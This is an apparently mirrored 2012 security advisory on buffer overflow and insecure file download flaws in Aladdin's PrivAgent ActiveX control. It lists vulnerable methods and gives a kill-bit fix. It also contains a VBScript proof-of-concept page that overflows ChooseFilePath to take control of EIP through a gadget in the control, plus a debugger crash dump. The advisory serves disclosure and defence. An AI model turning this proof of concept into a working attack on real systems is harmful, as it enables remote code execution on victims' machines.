Aladdin Knowledge System Ltd. Active-X Buffer Overflow

🗓️ 26 Oct 2012 00:00:00Reported by shinnaiType
packetstorm🔗 packetstormsecurity.com👁 32 Views
Aladdin Knowledge System PrivAgent ActiveX Buffer Overflo
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
=============================================================================================  
FILE INFO:  
=============================================================================================  
Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities  
  
File: PrivAgent.ocx  
InternalName: PrivAgentAx  
OriginalFilename: PrivAgent.ocx  
FileVersion: 2.0.0.0  
FileDescription: PrivAgent ActiveX Control  
Product: Privilege  
ProductVersion: 02.0  
Debug: False  
Patched: False  
PreRelease: False  
PrivateBuild: True  
SpecialBuild: False  
Language: English (United States)  
MD5 hash: c96dfc282b6bdc177abd076a9bb94933  
=============================================================================================  
OBJECT SAFETY REPORT:  
=============================================================================================  
CLSID: {09F68A41-2FBE-11D3-8C9D-0008C7D901B6}  
ProgID: PrivAgentAx.PrivAgent.1  
Description: PrivAgent Class  
RegKey Safe for Script: True  
RegKey Safe for Init: True  
Implements IObjectSafety: False  
=============================================================================================  
TESTED ON:  
=============================================================================================  
Windows XP Professional SP3  
Windows 7 Professional SP3  
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DOWNLOADABLE FROM:  
=============================================================================================  
ftp://ftp.aladdin.com//pub/privilege/activex2002.zip  
=============================================================================================  
BUG INFO:  
=============================================================================================  
This ocx seems to be really poor coded. I've found so many errors that I felt too choosy  
(yes Mrs. Elsa Fornero, I AM choosy and I AM proud of it) to test any other method.  
Below there's a list of stack-based buffer overflow, insecure file download and a proof  
of concept which exploits a good old fashioned (or trivial, if you like) stack based  
buffer overflow, triggered simply passing to the "ChooseFilePath" method a string longer  
than 268 bytes. In this case, after a memory reading exception, we are in full control of  
EIP.  
Here it is the list of vulnerable methods, guess which ones are vulnerable to arbitrary  
file download? :)  
  
#1  
Function DownloadLicense (  
ByVal sURL As String ,   
ByVal sPath As String ,   
ByVal bInstall As Boolean   
) As Long  
  
#2  
Function ChooseFilePath (  
ByVal sFileName As String   
) As String  
  
#3  
Function InstallLicense (  
ByVal szLicensePath As String   
) As Long  
  
#4  
Function InstallPrivilege (  
ByVal szInstFilePath As String   
) As Long  
  
#4  
Function DownloadPrivilege (  
ByVal szURL As String ,   
ByVal szTargetDir As String ,   
ByVal bInstall As Boolean   
) As Long  
  
#4  
Function InstallDevExt (  
ByVal szDevExtPath As String   
) As Long  
  
#5  
Function DownloadDevExt (  
ByVal szURL As String ,   
ByVal szTargetPath As String ,   
ByVal bInstall As Boolean   
) As Long  
=============================================================================================  
PROOF OF CONCEPT:  
=============================================================================================  
  
<html>  
<object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>  
<script language = 'vbscript'>  
buffer = String(268, "A")  
getEIP = unescape("bbbb")  
buffer_2 = "CCCCCCCC"  
exception = unescape("%5A%0B%02%10") '0x10020B5A pop ESI-pop-ret from PrivAgent.ocx  
buffer_3 = unescape("EEEE" + String(2712, "F"))  
  
test.ChooseFilePath buffer + getEIP + buffer_2 + exception + buffer_3  
</script>  
</html>  
  
=============================================================================================  
CRASH DUMP:  
=============================================================================================  
0:005> g  
WARNING: Continuing a non-continuable exception  
(1138.1304): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=076886d8 ecx=00385f70 edx=086dc628 esi=0253cfa4 edi=0253cd24  
eip=62626262 esp=0253cce4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
62626262 ?? ???  
=============================================================================================  
FIX:  
=============================================================================================  
Set kill-bit to stop the activeX control  
=============================================================================================  
  
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`
26 Oct 2012 00:00Current
0.5Low risk
Vulners AI Score0.5